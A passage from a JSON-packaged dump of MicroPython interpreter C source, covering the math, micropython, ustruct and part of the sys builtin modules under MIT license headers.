(mp_float_t)0.0) {\n            math_error();\n        } else if (base == (mp_float_t)1.0) {\n            mp_raise_msg(&mp_type_ZeroDivisionError, \"division by zero\");\n        }\n        return mp_obj_new_float(l / MICROPY_FLOAT_C_FUN(log)(base));\n    }\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(mp_math_log_obj, 1, 2, mp_math_log);\n\n// Functions that return a tuple\n\n/// \\function frexp(x)\n/// Converts a floating-point number to fractional and integral components.\nSTATIC mp_obj_t mp_math_frexp(mp_obj_t x_obj) {\n    int int_exponent = 0;\n    mp_float_t significand = MICROPY_FLOAT_C_FUN(frexp)(mp_obj_get_float(x_obj), &int_exponent);\n    mp_obj_t tuple[2];\n    tuple[0] = mp_obj_new_float(significand);\n    tuple[1] = mp_obj_new_int(int_exponent);\n    return mp_obj_new_tuple(2, tuple);\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_1(mp_math_frexp_obj, mp_math_frexp);\n\n/// \\function modf(x)\nSTATIC mp_obj_t mp_math_modf(mp_obj_t x_obj) {\n    mp_float_t int_part = 0.0;\n    mp_float_t fractional_part = MICROPY_FLOAT_C_FUN(modf)(mp_obj_get_float(x_obj), &int_part);\n    mp_obj_t tuple[2];\n    tuple[0] = mp_obj_new_float(fractional_part);\n    tuple[1] = mp_obj_new_float(int_part);\n    return mp_obj_new_tuple(2, tuple);\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_1(mp_math_modf_obj, mp_math_modf);\n\n// Angular conversions\n\n/// \\function radians(x)\nSTATIC mp_obj_t mp_math_radians(mp_obj_t x_obj) {\n    return mp_obj_new_float(mp_obj_get_float(x_obj) * (MP_PI / MICROPY_FLOAT_CONST(180.0)));\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_1(mp_math_radians_obj, mp_math_radians);\n\n/// \\function degrees(x)\nSTATIC mp_obj_t mp_math_degrees(mp_obj_t x_obj) {\n    return mp_obj_new_float(mp_obj_get_float(x_obj) * (MICROPY_FLOAT_CONST(180.0) / MP_PI));\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_1(mp_math_degrees_obj, mp_math_degrees);\n\nSTATIC const mp_rom_map_elem_t mp_module_math_globals_table[] = {\n    { MP_ROM_QSTR(MP_QSTR___name__), MP_ROM_QSTR(MP_QSTR_math) },\n    { MP_ROM_QSTR(MP_QSTR_e), mp_const_float_e },\n    { MP_ROM_QSTR(MP_QSTR_pi), mp_const_float_pi },\n    { MP_ROM_QSTR(MP_QSTR_sqrt), MP_ROM_PTR(&mp_math_sqrt_obj) },\n    { MP_ROM_QSTR(MP_QSTR_pow), MP_ROM_PTR(&mp_math_pow_obj) },\n    { MP_ROM_QSTR(MP_QSTR_exp), MP_ROM_PTR(&mp_math_exp_obj) },\n    #if MICROPY_PY_MATH_SPECIAL_FUNCTIONS\n    { MP_ROM_QSTR(MP_QSTR_expm1), MP_ROM_PTR(&mp_math_expm1_obj) },\n    #endif\n    { MP_ROM_QSTR(MP_QSTR_log), MP_ROM_PTR(&mp_math_log_obj) },\n    #if MICROPY_PY_MATH_SPECIAL_FUNCTIONS\n    { MP_ROM_QSTR(MP_QSTR_log2), MP_ROM_PTR(&mp_math_log2_obj) },\n    { MP_ROM_QSTR(MP_QSTR_log10), MP_ROM_PTR(&mp_math_log10_obj) },\n    { MP_ROM_QSTR(MP_QSTR_cosh), MP_ROM_PTR(&mp_math_cosh_obj) },\n    { MP_ROM_QSTR(MP_QSTR_sinh), MP_ROM_PTR(&mp_math_sinh_obj) },\n    { MP_ROM_QSTR(MP_QSTR_tanh), MP_ROM_PTR(&mp_math_tanh_obj) },\n    { MP_ROM_QSTR(MP_QSTR_acosh), MP_ROM_PTR(&mp_math_acosh_obj) },\n    { MP_ROM_QSTR(MP_QSTR_asinh), MP_ROM_PTR(&mp_math_asinh_obj) },\n    { MP_ROM_QSTR(MP_QSTR_atanh), MP_ROM_PTR(&mp_math_atanh_obj) },\n    #endif\n    { MP_ROM_QSTR(MP_QSTR_cos), MP_ROM_PTR(&mp_math_cos_obj) },\n    { MP_ROM_QSTR(MP_QSTR_sin), MP_ROM_PTR(&mp_math_sin_obj) },\n    { MP_ROM_QSTR(MP_QSTR_tan), MP_ROM_PTR(&mp_math_tan_obj) },\n    { MP_ROM_QSTR(MP_QSTR_acos), MP_ROM_PTR(&mp_math_acos_obj) },\n    { MP_ROM_QSTR(MP_QSTR_asin), MP_ROM_PTR(&mp_math_asin_obj) },\n    { MP_ROM_QSTR(MP_QSTR_atan), MP_ROM_PTR(&mp_math_atan_obj) },\n    { MP_ROM_QSTR(MP_QSTR_atan2), MP_ROM_PTR(&mp_math_atan2_obj) },\n    { MP_ROM_QSTR(MP_QSTR_ceil), MP_ROM_PTR(&mp_math_ceil_obj) },\n    { MP_ROM_QSTR(MP_QSTR_copysign), MP_ROM_PTR(&mp_math_copysign_obj) },\n    { MP_ROM_QSTR(MP_QSTR_fabs), MP_ROM_PTR(&mp_math_fabs_obj) },\n    { MP_ROM_QSTR(MP_QSTR_floor), MP_ROM_PTR(&mp_math_floor_obj) },\n    { MP_ROM_QSTR(MP_QSTR_fmod), MP_ROM_PTR(&mp_math_fmod_obj) },\n    { MP_ROM_QSTR(MP_QSTR_frexp), MP_ROM_PTR(&mp_math_frexp_obj) },\n    { MP_ROM_QSTR(MP_QSTR_ldexp), MP_ROM_PTR(&mp_math_ldexp_obj) },\n    { MP_ROM_QSTR(MP_QSTR_modf), MP_ROM_PTR(&mp_math_modf_obj) },\n    { MP_ROM_QSTR(MP_QSTR_isfinite), MP_ROM_PTR(&mp_math_isfinite_obj) },\n    { MP_ROM_QSTR(MP_QSTR_isinf), MP_ROM_PTR(&mp_math_isinf_obj) },\n    { MP_ROM_QSTR(MP_QSTR_isnan), MP_ROM_PTR(&mp_math_isnan_obj) },\n    { MP_ROM_QSTR(MP_QSTR_trunc), MP_ROM_PTR(&mp_math_trunc_obj) },\n    { MP_ROM_QSTR(MP_QSTR_radians), MP_ROM_PTR(&mp_math_radians_obj) },\n    { MP_ROM_QSTR(MP_QSTR_degrees), MP_ROM_PTR(&mp_math_degrees_obj) },\n    #if MICROPY_PY_MATH_SPECIAL_FUNCTIONS\n    { MP_ROM_QSTR(MP_QSTR_erf), MP_ROM_PTR(&mp_math_erf_obj) },\n    { MP_ROM_QSTR(MP_QSTR_erfc), MP_ROM_PTR(&mp_math_erfc_obj) },\n    { MP_ROM_QSTR(MP_QSTR_gamma), MP_ROM_PTR(&mp_math_gamma_obj) },\n    { MP_ROM_QSTR(MP_QSTR_lgamma), MP_ROM_PTR(&mp_math_lgamma_obj) },\n    #endif\n};\n\nSTATIC MP_DEFINE_CONST_DICT(mp_module_math_globals, mp_module_math_globals_table);\n\nconst mp_obj_module_t mp_module_math = {\n    .base = { &mp_type_module },\n    .globals = (mp_obj_dict_t*)&mp_module_math_globals,\n};\n\n#endif // MICROPY_PY_BUILTINS_FLOAT && MICROPY_PY_MATH\n"
  },
  {
    "path": "micropython/source/py/modmicropython.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include <stdio.h>\n\n#include \"py/mpstate.h\"\n#include \"py/builtin.h\"\n#include \"py/stackctrl.h\"\n#include \"py/runtime.h\"\n#include \"py/gc.h\"\n#include \"py/mphal.h\"\n\n// Various builtins specific to MicroPython runtime,\n// living in micropython module\n\nSTATIC mp_obj_t mp_micropython_opt_level(size_t n_args, const mp_obj_t *args) {\n    if (n_args == 0) {\n        return MP_OBJ_NEW_SMALL_INT(MP_STATE_VM(mp_optimise_value));\n    } else {\n        MP_STATE_VM(mp_optimise_value) = mp_obj_get_int(args[0]);\n        return mp_const_none;\n    }\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(mp_micropython_opt_level_obj, 0, 1, mp_micropython_opt_level);\n\n#if MICROPY_PY_MICROPYTHON_MEM_INFO\n\n#if MICROPY_MEM_STATS\nSTATIC mp_obj_t mp_micropython_mem_total(void) {\n    return MP_OBJ_NEW_SMALL_INT(m_get_total_bytes_allocated());\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_0(mp_micropython_mem_total_obj, mp_micropython_mem_total);\n\nSTATIC mp_obj_t mp_micropython_mem_current(void) {\n    return MP_OBJ_NEW_SMALL_INT(m_get_current_bytes_allocated());\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_0(mp_micropython_mem_current_obj, mp_micropython_mem_current);\n\nSTATIC mp_obj_t mp_micropython_mem_peak(void) {\n    return MP_OBJ_NEW_SMALL_INT(m_get_peak_bytes_allocated());\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_0(mp_micropython_mem_peak_obj, mp_micropython_mem_peak);\n#endif\n\nmp_obj_t mp_micropython_mem_info(size_t n_args, const mp_obj_t *args) {\n    (void)args;\n#if MICROPY_MEM_STATS\n    mp_printf(&mp_plat_print, \"mem: total=\" UINT_FMT \", current=\" UINT_FMT \", peak=\" UINT_FMT \"\\n\",\n        (mp_uint_t)m_get_total_bytes_allocated(), (mp_uint_t)m_get_current_bytes_allocated(), (mp_uint_t)m_get_peak_bytes_allocated());\n#endif\n#if MICROPY_STACK_CHECK\n    mp_printf(&mp_plat_print, \"stack: \" UINT_FMT \" out of \" UINT_FMT \"\\n\",\n        mp_stack_usage(), (mp_uint_t)MP_STATE_THREAD(stack_limit));\n#else\n    mp_printf(&mp_plat_print, \"stack: \" UINT_FMT \"\\n\", mp_stack_usage());\n#endif\n#if MICROPY_ENABLE_GC\n    gc_dump_info();\n    if (n_args == 1) {\n        // arg given means dump gc allocation table\n        gc_dump_alloc_table();\n    }\n#else\n    (void)n_args;\n#endif\n    return mp_const_none;\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(mp_micropython_mem_info_obj, 0, 1, mp_micropython_mem_info);\n\nSTATIC mp_obj_t mp_micropython_qstr_info(size_t n_args, const mp_obj_t *args) {\n    (void)args;\n    size_t n_pool, n_qstr, n_str_data_bytes, n_total_bytes;\n    qstr_pool_info(&n_pool, &n_qstr, &n_str_data_bytes, &n_total_bytes);\n    mp_printf(&mp_plat_print, \"qstr pool: n_pool=%u, n_qstr=%u, n_str_data_bytes=%u, n_total_bytes=%u\\n\",\n        n_pool, n_qstr, n_str_data_bytes, n_total_bytes);\n    if (n_args == 1) {\n        // arg given means dump qstr data\n        qstr_dump_data();\n    }\n    return mp_const_none;\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(mp_micropython_qstr_info_obj, 0, 1, mp_micropython_qstr_info);\n\n#if MICROPY_STACK_CHECK\nSTATIC mp_obj_t mp_micropython_stack_use(void) {\n    return MP_OBJ_NEW_SMALL_INT(mp_stack_usage());\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_0(mp_micropython_stack_use_obj, mp_micropython_stack_use);\n#endif\n\n#endif // MICROPY_PY_MICROPYTHON_MEM_INFO\n\n#if MICROPY_ENABLE_GC\nSTATIC mp_obj_t mp_micropython_heap_lock(void) {\n    gc_lock();\n    return mp_const_none;\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_0(mp_micropython_heap_lock_obj, mp_micropython_heap_lock);\n\nSTATIC mp_obj_t mp_micropython_heap_unlock(void) {\n    gc_unlock();\n    return mp_const_none;\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_0(mp_micropython_heap_unlock_obj, mp_micropython_heap_unlock);\n#endif\n\n#if MICROPY_ENABLE_EMERGENCY_EXCEPTION_BUF && (MICROPY_EMERGENCY_EXCEPTION_BUF_SIZE == 0)\nSTATIC MP_DEFINE_CONST_FUN_OBJ_1(mp_alloc_emergency_exception_buf_obj, mp_alloc_emergency_exception_buf);\n#endif\n\n#if MICROPY_KBD_EXCEPTION\nSTATIC mp_obj_t mp_micropython_kbd_intr(mp_obj_t int_chr_in) {\n    mp_hal_set_interrupt_char(mp_obj_get_int(int_chr_in));\n    return mp_const_none;\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_1(mp_micropython_kbd_intr_obj, mp_micropython_kbd_intr);\n#endif\n\n#if MICROPY_ENABLE_SCHEDULER\nSTATIC mp_obj_t mp_micropython_schedule(mp_obj_t function, mp_obj_t arg) {\n    if (!mp_sched_schedule(function, arg)) {\n        mp_raise_msg(&mp_type_RuntimeError, \"schedule stack full\");\n    }\n    return mp_const_none;\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_2(mp_micropython_schedule_obj, mp_micropython_schedule);\n#endif\n\nSTATIC const mp_rom_map_elem_t mp_module_micropython_globals_table[] = {\n    { MP_ROM_QSTR(MP_QSTR___name__), MP_ROM_QSTR(MP_QSTR_micropython) },\n    { MP_ROM_QSTR(MP_QSTR_const), MP_ROM_PTR(&mp_identity_obj) },\n    { MP_ROM_QSTR(MP_QSTR_opt_level), MP_ROM_PTR(&mp_micropython_opt_level_obj) },\n#if MICROPY_PY_MICROPYTHON_MEM_INFO\n#if MICROPY_MEM_STATS\n    { MP_ROM_QSTR(MP_QSTR_mem_total), MP_ROM_PTR(&mp_micropython_mem_total_obj) },\n    { MP_ROM_QSTR(MP_QSTR_mem_current), MP_ROM_PTR(&mp_micropython_mem_current_obj) },\n    { MP_ROM_QSTR(MP_QSTR_mem_peak), MP_ROM_PTR(&mp_micropython_mem_peak_obj) },\n#endif\n    { MP_ROM_QSTR(MP_QSTR_mem_info), MP_ROM_PTR(&mp_micropython_mem_info_obj) },\n    { MP_ROM_QSTR(MP_QSTR_qstr_info), MP_ROM_PTR(&mp_micropython_qstr_info_obj) },\n    #if MICROPY_STACK_CHECK\n    { MP_ROM_QSTR(MP_QSTR_stack_use), MP_ROM_PTR(&mp_micropython_stack_use_obj) },\n    #endif\n#endif\n#if MICROPY_ENABLE_EMERGENCY_EXCEPTION_BUF && (MICROPY_EMERGENCY_EXCEPTION_BUF_SIZE == 0)\n    { MP_ROM_QSTR(MP_QSTR_alloc_emergency_exception_buf), MP_ROM_PTR(&mp_alloc_emergency_exception_buf_obj) },\n#endif\n    #if MICROPY_ENABLE_GC\n    { MP_ROM_QSTR(MP_QSTR_heap_lock), MP_ROM_PTR(&mp_micropython_heap_lock_obj) },\n    { MP_ROM_QSTR(MP_QSTR_heap_unlock), MP_ROM_PTR(&mp_micropython_heap_unlock_obj) },\n    #endif\n    #if MICROPY_KBD_EXCEPTION\n    { MP_ROM_QSTR(MP_QSTR_kbd_intr), MP_ROM_PTR(&mp_micropython_kbd_intr_obj) },\n    #endif\n    #if MICROPY_ENABLE_SCHEDULER\n    { MP_ROM_QSTR(MP_QSTR_schedule), MP_ROM_PTR(&mp_micropython_schedule_obj) },\n    #endif\n};\n\nSTATIC MP_DEFINE_CONST_DICT(mp_module_micropython_globals, mp_module_micropython_globals_table);\n\nconst mp_obj_module_t mp_module_micropython = {\n    .base = { &mp_type_module },\n    .globals = (mp_obj_dict_t*)&mp_module_micropython_globals,\n};\n"
  },
  {
    "path": "micropython/source/py/modstruct.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n * Copyright (c) 2014 Paul Sokolovsky\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include <assert.h>\n#include <string.h>\n\n#include \"py/runtime.h\"\n#include \"py/builtin.h\"\n#include \"py/objtuple.h\"\n#include \"py/binary.h\"\n#include \"py/parsenum.h\"\n\n#if MICROPY_PY_STRUCT\n\n/*\n    This module implements most of character typecodes from CPython, with\n    some extensions:\n\n    O - (Pointer to) an arbitrary Python object. This is useful for callback\n        data, etc. Note that you must keep reference to passed object in\n        your Python application, otherwise it may be garbage-collected,\n        and then when you get back this value from callback it may be\n        invalid (and lead to crash).\n    S - Pointer to a string (returned as a Python string). Note the\n        difference from \"Ns\", - the latter says \"in this place of structure\n        is character data of up to N bytes length\", while \"S\" means\n        \"in this place of a structure is a pointer to zero-terminated\n        character data\".\n */\n\nSTATIC char get_fmt_type(const char **fmt) {\n    char t = **fmt;\n    switch (t) {\n        case '!':\n            t = '>';\n            break;\n        case '@':\n        case '=':\n        case '<':\n        case '>':\n            break;\n        default:\n            return '@';\n    }\n    // Skip type char\n    (*fmt)++;\n    return t;\n}\n\nSTATIC mp_uint_t get_fmt_num(const char **p) {\n    const char *num = *p;\n    uint len = 1;\n    while (unichar_isdigit(*++num)) {\n        len++;\n    }\n    mp_uint_t val = (mp_uint_t)MP_OBJ_SMALL_INT_VALUE(mp_parse_num_integer(*p, len, 10, NULL));\n    *p = num;\n    return val;\n}\n\nSTATIC uint calcsize_items(const char *fmt) {\n    uint cnt = 0;\n    while (*fmt) {\n        int num = 1;\n        if (unichar_isdigit(*fmt)) {\n            num = get_fmt_num(&fmt);\n            if (*fmt == 's') {\n                num = 1;\n            }\n        }\n        cnt += num;\n        fmt++;\n    }\n    return cnt;\n}\n\nSTATIC mp_obj_t struct_calcsize(mp_obj_t fmt_in) {\n    const char *fmt = mp_obj_str_get_str(fmt_in);\n    char fmt_type = get_fmt_type(&fmt);\n    mp_uint_t size;\n    for (size = 0; *fmt; fmt++) {\n        mp_uint_t cnt = 1;\n        if (unichar_isdigit(*fmt)) {\n            cnt = get_fmt_num(&fmt);\n        }\n\n        if (*fmt == 's') {\n            size += cnt;\n        } else {\n            mp_uint_t align;\n            size_t sz = mp_binary_get_size(fmt_type, *fmt, &align);\n            while (cnt--) {\n                // Apply alignment\n                size = (size + align - 1) & ~(align - 1);\n                size += sz;\n            }\n        }\n    }\n    return MP_OBJ_NEW_SMALL_INT(size);\n}\nMP_DEFINE_CONST_FUN_OBJ_1(struct_calcsize_obj, struct_calcsize);\n\nSTATIC mp_obj_t struct_unpack_from(size_t n_args, const mp_obj_t *args) {\n    // unpack requires that the buffer be exactly the right size.\n    // unpack_from requires that the buffer be \"big enough\".\n    // Since we implement unpack and unpack_from using the same function\n    // we relax the \"exact\" requirement, and only implement \"big enough\".\n    const char *fmt = mp_obj_str_get_str(args[0]);\n    char fmt_type = get_fmt_type(&fmt);\n    uint num_items = calcsize_items(fmt);\n    mp_obj_tuple_t *res = MP_OBJ_TO_PTR(mp_obj_new_tuple(num_items, NULL));\n    mp_buffer_info_t bufinfo;\n    mp_get_buffer_raise(args[1], &bufinfo, MP_BUFFER_READ);\n    byte *p = bufinfo.buf;\n    byte *end_p = &p[bufinfo.len];\n    mp_int_t offset = 0;\n\n    if (n_args > 2) {\n        // offset arg provided\n        offset = mp_obj_get_int(args[2]);\n        if (offset < 0) {\n            // negative offsets are relative to the end of the buffer\n            offset = bufinfo.len + offset;\n            if (offset < 0) {\n                mp_raise_ValueError(\"buffer too small\");\n            }\n        }\n        p += offset;\n    }\n\n    for (uint i = 0; i < num_items;) {\n        mp_uint_t sz = 1;\n        if (unichar_isdigit(*fmt)) {\n            sz = get_fmt_num(&fmt);\n        }\n        if (p + sz > end_p) {\n            mp_raise_ValueError(\"buffer too small\");\n        }\n        mp_obj_t item;\n        if (*fmt == 's') {\n            item = mp_obj_new_bytes(p, sz);\n            p += sz;\n            res->items[i++] = item;\n        } else {\n            while (sz--) {\n                item = mp_binary_get_val(fmt_type, *fmt, &p);\n                res->items[i++] = item;\n            }\n        }\n        fmt++;\n    }\n    return MP_OBJ_FROM_PTR(res);\n}\nMP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(struct_unpack_from_obj, 2, 3, struct_unpack_from);\n\nSTATIC void struct_pack_into_internal(mp_obj_t fmt_in, byte *p, byte* end_p, size_t n_args, const mp_obj_t *args) {\n    const char *fmt = mp_obj_str_get_str(fmt_in);\n    char fmt_type = get_fmt_type(&fmt);\n\n    size_t i;\n    for (i = 0; i < n_args;) {\n        mp_uint_t sz = 1;\n        if (*fmt == '\\0') {\n            // more arguments given than used by format string; CPython raises struct.error here\n            break;\n        }\n        if (unichar_isdigit(*fmt)) {\n            sz = get_fmt_num(&fmt);\n        }\n        if (p + sz > end_p) {\n            mp_raise_ValueError(\"buffer too small\");\n        }\n\n        if (*fmt == 's') {\n            mp_buffer_info_t bufinfo;\n            mp_get_buffer_raise(args[i++], &bufinfo, MP_BUFFER_READ);\n            mp_uint_t to_copy = sz;\n            if (bufinfo.len < to_copy) {\n                to_copy = bufinfo.len;\n            }\n            memcpy(p, bufinfo.buf, to_copy);\n            memset(p + to_copy, 0, sz - to_copy);\n            p += sz;\n        } else {\n            while (sz--) {\n                mp_binary_set_val(fmt_type, *fmt, args[i++], &p);\n            }\n        }\n        fmt++;\n    }\n}\n\nSTATIC mp_obj_t struct_pack(size_t n_args, const mp_obj_t *args) {\n    // TODO: \"The arguments must match the values required by the format exactly.\"\n    mp_int_t size = MP_OBJ_SMALL_INT_VALUE(struct_calcsize(args[0]));\n    vstr_t vstr;\n    vstr_init_len(&vstr, size);\n    byte *p = (byte*)vstr.buf;\n    memset(p, 0, size);\n    byte *end_p = &p[size];\n    struct_pack_into_internal(args[0], p, end_p, n_args - 1, &args[1]);\n    return mp_obj_new_str_from_vstr(&mp_type_bytes, &vstr);\n}\nMP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(struct_pack_obj, 1, MP_OBJ_FUN_ARGS_MAX, struct_pack);\n\nSTATIC mp_obj_t struct_pack_into(size_t n_args, const mp_obj_t *args) {\n    mp_buffer_info_t bufinfo;\n    mp_get_buffer_raise(args[1], &bufinfo, MP_BUFFER_WRITE);\n    mp_int_t offset = mp_obj_get_int(args[2]);\n    if (offset < 0) {\n        // negative offsets are relative to the end of the buffer\n        offset = (mp_int_t)bufinfo.len + offset;\n        if (offset < 0) {\n            mp_raise_ValueError(\"buffer too small\");\n        }\n    }\n    byte *p = (byte *)bufinfo.buf;\n    byte *end_p = &p[bufinfo.len];\n    p += offset;\n\n    struct_pack_into_internal(args[0], p, end_p, n_args - 3, &args[3]);\n    return mp_const_none;\n}\nMP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(struct_pack_into_obj, 3, MP_OBJ_FUN_ARGS_MAX, struct_pack_into);\n\nSTATIC const mp_rom_map_elem_t mp_module_struct_globals_table[] = {\n    { MP_ROM_QSTR(MP_QSTR___name__), MP_ROM_QSTR(MP_QSTR_ustruct) },\n    { MP_ROM_QSTR(MP_QSTR_calcsize), MP_ROM_PTR(&struct_calcsize_obj) },\n    { MP_ROM_QSTR(MP_QSTR_pack), MP_ROM_PTR(&struct_pack_obj) },\n    { MP_ROM_QSTR(MP_QSTR_pack_into), MP_ROM_PTR(&struct_pack_into_obj) },\n    { MP_ROM_QSTR(MP_QSTR_unpack), MP_ROM_PTR(&struct_unpack_from_obj) },\n    { MP_ROM_QSTR(MP_QSTR_unpack_from), MP_ROM_PTR(&struct_unpack_from_obj) },\n};\n\nSTATIC MP_DEFINE_CONST_DICT(mp_module_struct_globals, mp_module_struct_globals_table);\n\nconst mp_obj_module_t mp_module_ustruct = {\n    .base = { &mp_type_module },\n    .globals = (mp_obj_dict_t*)&mp_module_struct_globals,\n};\n\n#endif\n"
  },
  {
    "path": "micropython/source/py/modsys.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n * Copyright (c) 2014-2017 Paul Sokolovsky\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include \"py/mpstate.h\"\n#include \"py/nlr.h\"\n#include \"py/builtin.h\"\n#include \"py/objlist.h\"\n#include \"py/objtuple.h\"\n#include \"py/objstr.h\"\n#include \"py/objint.h\"\n#include \"py/objtype.h\"\n#include \"py/stream.h\"\n#include \"py/smallint.h\"\n#include \"py/runtime0.h\"\n#include \"py/runtime.h\"\n\n#if MICROPY_PY_SYS\n\n#include \"genhdr/mpversion.h\"\n\n/// \\module sys - system specific functions\n\n// defined per port; type of these is irrelevant, just need pointer\nextern struct _mp_dummy_t mp_sys_stdin_obj;\nextern struct _mp_dummy_t mp_sys_stdout_obj;\nextern struct _mp_dummy_t mp_sys_stderr_obj;\n\n#if MICROPY_PY_IO && MICROPY_PY_SYS_STDFILES\nconst mp_print_t mp_sys_stdout_print = {&mp_sys_stdout_obj, mp_stream_write_adaptor};\n#endif\n\n/// \\constant version - Python language version that this implementation conforms to, as a string\nSTATIC const MP_DEFINE_STR_OBJ(version_obj, \"3.4.0\");\n\n/// \\constant version_info - Python language version that this implementation conforms to, as a tuple of ints\n#define I(n) MP_OBJ_NEW_SMALL_INT(n)\n// TODO: CPython is now at 5-element array, but save 2 els so far...\nSTATIC const mp_obj_tuple_t mp_sys_version_info_obj = {{&mp_type_tuple}, 3, {I(3), I(4), I(0)}};\n\n// sys.implementation object\n// this holds the MicroPython version\nSTATIC const mp_obj_tuple_t mp_sys_implementation_version_info_obj = {\n    {&mp_type_tuple},\n    3,\n    { I(MICROPY_VERSION_MAJOR), I(MICROPY_VERSION_MINOR), I(MICROPY_VERSION_MICRO) }\n};\n#if MICROPY_PY_ATTRTUPLE\nSTATIC const qstr impl_fields[] = { MP_QSTR_name, MP_QSTR_version };\nSTATIC MP_DEFINE_ATTRTUPLE(\n    mp_sys_implementation_obj,\n    impl_fields,\n    2,\n        MP_ROM_QSTR(MP_QSTR_micropython),\n        MP_ROM_PTR(&mp_sys_implementation_version_info_obj)\n);\n#else\nSTATIC const mp_rom_obj_tuple_t mp_sys_implementation_obj = {\n    {&mp_type_tuple},\n    2,\n    {\n        MP_ROM_QSTR(MP_QSTR_micropython),\n        MP_ROM_PTR(&mp_sys_implementation_version_info_obj),\n    }\n};\n#endif\n\n#undef I\n\n#ifdef MICROPY_PY_SYS_PLATFORM\n/// \\constant platform - the platform that MicroPython is running on\nSTATIC const MP_DEFINE_STR_OBJ(platform_obj, MICROPY_PY_SYS_PLATFORM);\n#endif\n\n/// \\function exit([retval])\n/// Raise a `SystemExit` exception.  If an argument is given, it is the\n/// value given to `SystemExit`.\nSTATIC mp_obj_t mp_sys_exit(size_t n_args, const mp_obj_t *args) {\n    mp_obj_t exc;\n    if (n_args == 0) {\n        exc = mp_obj_new_exception(&mp_type_SystemExit);\n    } else {\n        exc = mp_obj_new_exception_arg1(&mp_type_SystemExit, args[0]);\n    }\n    nlr_raise(exc);\n}\nMP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(mp_sys_exit_obj, 0, 1, mp_sys_exit);\n\nSTATIC mp_obj_t mp_sys_print_exception(size_t n_args, const mp_obj_t *args) {\n    #if MICROPY_PY_IO && MICROPY_PY_SYS_STDFILES\n    void *stream_obj = &mp_sys_stdout_obj;\n    if (n_args > 1) {\n        stream_obj = 